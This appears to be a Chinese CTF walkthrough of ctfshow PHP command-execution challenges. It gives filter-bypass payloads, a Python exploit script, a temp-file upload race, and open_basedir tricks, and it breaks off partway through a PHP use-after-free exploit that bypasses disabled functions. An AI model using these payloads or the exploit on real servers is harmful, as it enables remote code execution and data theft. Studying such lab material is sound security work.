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這期內(nèi)容當(dāng)中小編將會給大家?guī)碛嘘P(guān)php中如何進(jìn)行ctfshow命令執(zhí)行,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
命令執(zhí)行,需要嚴(yán)格的過濾
源碼:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
preg_match — 執(zhí)行匹配正則表達(dá)式
題目限制了不能出現(xiàn)flag
.
構(gòu)造?c=system(ls);
頁面回顯:
flag.php index.php
繞過 flag ,通配符繞過。
linux 中有一些通配符。
*
代表任意字符 0個(gè)或多個(gè)
?
代表任意字符 1 個(gè)
[abcd]
匹配abcd中一個(gè)字符
[a-z]
匹配范圍 a-z
還可以這樣繞過
fla\g.php fla''g.php
payload :
?c=system('cat *'); ?c=system('cat fl?g.php'); ?c=system('cat f[a-z]ag.php');
執(zhí)行 payload 后源代碼中有顯示。
另一種解法:
eval — 把字符串作為PHP代碼執(zhí)行
傳入?c=echo "hello";?><?php system(ls);
看到有flag.php ,利用文件包含。
構(gòu)造:
?c=echo "hello";?><?php include($_GET['a']);&a=php://filter/read=convert.base64-encode/resource=flag.php
得到一串base64 字符串,解碼得到
<?php
$flag='flag{73c6fd37-47f1-47a4-a9a3-df83ae757139}';
命令執(zhí)行,需要嚴(yán)格的過濾
代碼:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
在上一題的基礎(chǔ)上增加了過濾。flag
、system
、php
但是我們依然可以用到其他函數(shù)進(jìn)行代替。
system() passthru() # passthru — 執(zhí)行外部程序并且顯示原始輸出 exec() # exec — 執(zhí)行一個(gè)外部程序 shell_exec() # shell_exec — 通過 shell 環(huán)境執(zhí)行命令,并且將完整的輸出以字符串的方式返回。 popen() proc_open() pcntl_exec() 反引號 同shell_exec()
這里需要注意一下,只有system函數(shù)是有回顯的,其他的函數(shù)可以通過echo等顯示
?c=echo passthru("cat f*"); ?c=echo `cat f*`;
或者
?c=echo "hello"; include($_GET['url']); ?>&url=php://filter/read=convert.base64-encode/resource=flag.php
題目wp:
echo `nl fl''ag.p''hp`;
命令執(zhí)行,需要嚴(yán)格的過濾
源碼:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
more:一頁一頁的顯示檔案內(nèi)容 less:與 more 類似 head:查看頭幾行 tac:從最后一行開始顯示,可以看出 tac 是 cat 的反向顯示 tail:查看尾幾行 nl:顯示的時(shí)候,順便輸出行號 od:以二進(jìn)制的方式讀取檔案內(nèi)容 vi:一種編輯器,這個(gè)也可以查看 vim:一種編輯器,這個(gè)也可以查看 sort:可以查看 uniq:可以查看 file -f:報(bào)錯(cuò)出具體內(nèi)容 grep 在當(dāng)前目錄中,查找后綴有 file 字樣的文件中包含 test 字符串的文件,并打印出該字符串的行。此時(shí),可以使用如下命令: grep test *file paste 指令會把每個(gè)文件以列對列的方式,一列列地加以合并。
{$IFS} $IFS$9 > < <> 重定向符 %09(需要php環(huán)境) {cat,flag.php} //用逗號實(shí)現(xiàn)了空格功能 %20 https://blog.csdn.net/whuslei/article/details/7187639
payload:
?c=echo(`tac%09f*`);
解法二:
?c=include($_GET["url"]);?>&url=php://filter/read=convert.base64-encode/resource=flag.php
官方
show_source(next(array_reverse(scandir(pos(localeconv())))));
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
又增加過濾了 反引號、括號,echo。
include require include_once require_once
payload:
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
源碼:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多過濾了一個(gè)雙引號,
直接用上一題的 payload:
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
源碼:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
過濾多了一個(gè)冒號,也是上一關(guān)payload 。
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多過濾了<
、=
。沒啥用,直接打
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多過濾了數(shù)字
,繼續(xù)打。
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo$flag;
}
}else{
highlight_file(__FILE__);
}
過濾了flag ,又是 include 文件包含
利用偽協(xié)議讀flag
data://,可以讓用戶來控制輸入流,當(dāng)它與包含函數(shù)結(jié)合時(shí),用戶輸入的data://流會被當(dāng)作php文件執(zhí)行
payload:
/?c=data://text/plain,<?php system(ls); # https://www.php.net/manual/zh/wrappers.data.php ?c=data://text/plain,<?php system('cat f*');
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
同樣使用data協(xié)議。
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
payload:
?c=data://text/plain,<?php system('cat *');?>
data://text/plain, 這樣就相當(dāng)于執(zhí)行了php語句 .php 因?yàn)榍懊娴膒hp語句已經(jīng)閉合了,所以后面的.php會被當(dāng)成html頁面直接顯示在頁面上,起不到什么 作用
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
過濾了引號、$、冒號,還不能用偽協(xié)議。
一般括號里參數(shù)都要用引號,這里學(xué)習(xí)一下無參數(shù)RCE(remote command/code execute)。
無參數(shù)的意思可以是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c'),不能帶參數(shù)。
詳情看這里:
payload:
c=readfile(next(array_reverse(scandir(getcwd())))); # 多刷新幾次 c=readfile(array_rand(array_flip(scandir(getcwd())))); readfile(array_rand(array_flip(scandir(current(localeconve()))))); wp: c=session_start();system(session_id()); passid=ls
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
這個(gè)題過濾了$、+、-、^、~
使得異或自增和取反構(gòu)造字符都無法使用,同時(shí)過濾了字母和數(shù)字。但是特意留了個(gè)或運(yùn)算符|
。我們可以嘗試從ascii為0-255的字符中,找到或運(yùn)算能得到我們可用的字符的字符。這里先給出兩個(gè)腳本 exp.py rce_or.php,大家以后碰到可以使用或運(yùn)算繞過的可以自己手動(dòng)修改下即可。生成可用字符的集-合
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
大體意思就是從進(jìn)行異或的字符中排除掉被過濾的,然后在判斷異或得到的字符是否為可見字符
傳遞參數(shù)getflag用法python exp.py <url>
# -*- coding: utf-8 -*- import requests import urllib from sys import * import os os.system("php rce_or.php") #沒有將php寫入環(huán)境變量需手動(dòng)運(yùn)行 if(len(argv)!=2): print("="*50) print('USER:python exp.py <url>') print("eg: python exp.py http://ctf.show/") print("="*50) exit(0) url=argv[1] def action(arg): s1="" s2="" for i in arg: f=open("rce_or.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: #print(i) s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"|\""+s2+"\")" return(output) while True: param=action(input("\n[+] your function:") )+action(input("[+] your command:")) data={ 'c':urllib.parse.unquote(param) } r=requests.post(url,data=data) print("\n[*] result:\n"+r.text)
https://blog.csdn.net/miuzzx/article/details/108569080
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
payload:
c=ls; c=cat flag.php;
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
過濾分號和cat
使用 換行符%0a
?c=ls%0a ?c=tac flag.php%0a
說一下為啥system()
函數(shù)要用的分號或者截?cái)?,因?yàn)椴挥玫脑捿斎氲恼Z句就和后邊的>/dev/null 2>&1
拼接起來了。最后不關(guān)輸入啥都會把結(jié)果輸出到/dev/null
。
詳情看這里: https://www.cnblogs.com/520playboy/p/6275022.html
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
過濾;
、cat
、flag
結(jié)合前面的,直接:
?c=tac f*%0a
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多過濾了個(gè)空格。
payload:
?c=tac%09f*%0a
?c=tac$IFS\f*%0A
# 這里 f 前面不加 反斜杠的話就出不來,可能是會被前面的解析到一起吧。
?c=more${IFS}f*%0a
IFS: https://www.xuebuyuan.com/3197835.html
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多過濾了數(shù)字、$ 、*
意味著不能用shell中變量了。
payload:
?c=tac%09fla?.php%0a nl<fla''g.php|| ?c=tac<fla\g.php||
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多過濾了 more 、less 、 head 、sort 、tail 。
但是 tac 、od 、uniq 等沒被過濾
od 讀文件 https://www.cnblogs.com/wfwenchao/p/5188720.html
payload:
?c=tac%09fla?.php%0a ?c=nl%09fla?.php%0a ?c=nl<fla''g.php||
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多過濾了一些讀取函數(shù)。
payload:
?c=tac%09fla?.php%0a ?c=tac<fla''g.php%0a
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多過濾反引號。
payload 同上關(guān)一樣。
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多過濾%
、09
、26
?c=tac<fla''g.php%0a ?c=tac<>fla\g.php%0a
<?php
sset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c.">/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
這回額外過濾了tac
,但是我們還可以用nl
?c=nl<fla\g.php%0a
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c.">/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
額外過濾了 重定向符< >
,但是這里沒過濾$
去查?c=nl${IFS}fla\g.php%0a
得到$flag="flag_here";
得到了一個(gè)假的flag.
查詢根目錄有啥文件
?c=ls${IFS}/%0a # bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var ?c=nl${IFS}/fla''g%0a
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
也沒多過濾啥。。
?c=ls%0a
得到
ls flag.php index.php readflag readflag
payload:
?c=ls%0a ?c=nl<fla''g.php%0a
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
多過濾了一些查看文件指令。
payload:
?c=paste${IFS}fla?.php%0a ?c=/bin/?at${IFS}f?ag.php%0a ?c=/bin/?at${IFS}f???????
<?php
// 你們在炫技嗎?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
直接過濾了所有小寫字母?。?!。
那么這里肯定是要無字符 rce 。
但是這里沒有過濾通配符,所以可以找到一個(gè)帶有數(shù)字的命令,利用通配符執(zhí)行命令。
有個(gè)命令是/bin/base64
,我們可以據(jù)此構(gòu)造
?c=/???/????64 ????????
得到
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMg QERhdGU6ICAgMjAyMC0wOS0wNyAxOTo0MDo1Mw0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhh DQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDcgMTk6NDE6MDANCiMgQGVtYWlsOiBo MXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxh Zz0iZmxhZ3tlYTY0MTJlZi03NGY3LTQ1ZjItYWJiYS05M2Y2ODZkOTkwZDh9Ijs=
解碼即得到flag.
bzip2
bzip2 是 linux 下面的壓縮文件的命令。在/usr/bin/bzip2
構(gòu)造
?C=/???/???/????2 ????????
然后訪問flag.php.bz2
下載即可獲得 flag.php
臨時(shí)文件上傳
https://www.gem-love.com/websecurity/1407.html
https://blog.csdn.net/qq_46091464/article/details/108557067
<?php
// 你們在炫技嗎?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
多過濾數(shù)字,所以用不了上題的前兩種方法。這里只能詳細(xì)寫一下上題的第三種方法了。
我們可以通過post一個(gè)文件(文件里面的sh命令),在上傳的過程中,通過.(點(diǎn))
去執(zhí)行執(zhí)行這個(gè)文件。(形成了條件競爭)。一般來說這個(gè)文件在linux下面保存在/tmp/php??????
一般后面的6個(gè)字符是隨機(jī)生成的有大小寫。(可以通過linux的匹配符去匹配)注意:通過
.去執(zhí)行sh命令不需要有執(zhí)行權(quán)限
我們需要構(gòu)造一個(gè)post上傳文件的數(shù)據(jù)包。
<!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST數(shù)據(jù)包POC</title> </head> <body> <form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data"> <!--鏈接是當(dāng)前打開的題目鏈接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交"> </form> </body> </html>
抓包,構(gòu)造?c=.+/???/????????[@-[]
<?php
// 還能炫的動(dòng)嗎?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
這里只需要構(gòu)造 傳參 36 即可,但是數(shù)字字符都被ban了。
paylaod
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))))))
linux echo 一下是 36.
<?php
// 你們在炫技嗎?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
post構(gòu)造c=system('ls');
結(jié)果
Warning: system() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
system 函數(shù)被 ban了
Warning: shell_exec() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
構(gòu)造c=print_r(scandir('.'));
.得到
Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )
payload:
c=readfile('flag.php');
<?php
// 你們在炫技嗎?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
同上關(guān)但是,
Warning: readfile() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
嘗試其他讀取文件函數(shù)
c=show_source('flag.php');
<?php
// 你們在炫技嗎?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
payload:
同58一樣
<?php
// 你們在炫技嗎?
if(isset($_POST['c'])){
$c=$_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
用以前方法
Warning: show_source() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
c=highlight_file('flag.php');
結(jié)果
$flag="秀秀得了,這次不在這里";
c=print_r(scandir('/'));
返回
Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => dev [5] => etc [6] => flag.txt [7] => home [8] => lib [9] => media [10] => mnt [11] => opt [12] => proc [13] => root [14] => run [15] => sbin [16] => srv [17] => sys [18] => tmp [19] => usr [20] => var )
有個(gè)flag.txt ,構(gòu)造 payload:
c=highlight_file('/flag.txt');
<?php
// 你們在炫技嗎?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
找目錄,發(fā)現(xiàn)
Warning: print_r() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
用c=var_dump(scandir('.'));
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(8) "flag.php" [3]=> string(9) "index.php" }
c=highlight_file('flag.php');
又是假的。
最終
c=highlight_file('/flag.txt');
打開題目直接
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19
說明highlight_file
函數(shù)被禁用了。
c=var_dump(scandir('/'));
得到
array(21) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(3) "dev" [5]=> string(3) "etc" [6]=> string(8) "flag.txt" [7]=> string(4) "home" [8]=> string(3) "lib" [9]=> string(5) "media" [10]=> string(3) "mnt" [11]=> string(3) "opt" [12]=> string(4) "proc" [13]=> string(4) "root" [14]=> string(3) "run" [15]=> string(4) "sbin" [16]=> string(3) "srv" [17]=> string(3) "sys" [18]=> string(3) "tmp" [19]=> string(3) "usr" [20]=> string(3) "var" }
有個(gè)flag.txt
readfile
、show_source
、highlight_file
被禁用了.
讀取不了,但是我們還可以直接文件包含。
payload:
c=include('/flag.txt');
同樣是
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19
var_dump 也被禁用
Warning: var_dump() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
var_export — 輸出或返回一個(gè)變量的字符串表示
用c=var_export(scandir('/'));
得到
array ( 0 => '.', 1 => '..', 2 => '.dockerenv', 3 => 'bin', 4 => 'dev', 5 => 'etc', 6 => 'flag.txt', 7 => 'home', 8 => 'lib', 9 => 'media', 10 => 'mnt', 11 => 'opt', 12 => 'proc', 13 => 'root', 14 => 'run', 15 => 'sbin', 16 => 'srv', 17 => 'sys', 18 => 'tmp', 19 => 'usr', 20 => 'var', )
payload:
c=var_export(scandir('/'));` c=include('/flag.txt');
直接:
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14 Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15 Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21 你要上天嗎?
payload:
c=var_export(scandir('/')); c=include('/flag.txt');
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14 Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15 Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24 你要上天嗎?
c=var_export(scandir('/'));
得到
???????: ?????_?????????() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????: ???_???() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ????? ( ? => '.', ? => '..', ? => '.?????????', ? => '???', ? => '???', ? => '???', ? => '????.???', ? => '????', ? => '???', ? => '?????', ?? => '???', ?? => '???', ?? => '????', ?? => '????', ?? => '???', ?? => '????', ?? => '???', ?? => '???', ?? => '???', ?? => '???', ?? => '???', ) 你要上天嗎?
......發(fā)現(xiàn)有個(gè)附件,下載打開:
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你們在炫技嗎?
if(isset($_POST['c'])){
$c=$_POST['c'];
eval($c);
$s=ob_get_contents();
ob_end_clean();
echopreg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天嗎?
代碼把輸出的字母數(shù)字都轉(zhuǎn)換為問號?
.
我們可以是服務(wù)端執(zhí)行完我們的惡意 payload 后就停止運(yùn)行 php 程序。
所以可以c=var_export(scandir('/'));exit(0);
使得后邊的代碼停止執(zhí)行,從而不會被正則替換。
payload:
c=var_export(scandir('/'));exit(0); c=include('/flag.txt');exit(0);
下載附件:
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你們在炫技嗎?
if(isset($_POST['c'])){
$c=$_POST['c'];
eval($c);
$s=ob_get_contents();
ob_end_clean();
echopreg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天嗎?
執(zhí)行c=include('flag.php');exit(0);
沒內(nèi)容打印。
有進(jìn)行讀取根目錄文件,但是被 open_basedir限制.
進(jìn)行繞過。
c=$it=newDirectoryIterator("glob:///*");foreach($itas$f) {echo$f->getFilename()."\n";}die();
得到根目錄文件
bin dev etc flag0.txt home lib media mnt opt proc root run sbin srv sys tmp usr var
有flag0.txt
.
Warning: include(): Failed opening '/flag0.txt' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php(19) : eval()'d code on line 1
exp:
<?php pwn("cat /flag0.txt"); function pwn($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); # ;) if(!isset($backtrace[1]['args'])) { # PHP >= 7.4 $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= sprintf("%c",($ptr & 0xff)); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = sprintf("%c",($v & 0xff)); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function my_str_repeat($a,$b){ $s = ''; for($i = 0; $i <= $b;$i++){ $s.=$a; } return $s; } function trigger_uaf($arg) { # str_shuffle prevents opcache string interning $arg = str_shuffle(my_str_repeat('A', 79)); $vuln = new Vuln(); $vuln->a = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; # increase this value if UAF fails $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle(my_str_repeat('A', 79)); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } # leaks $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 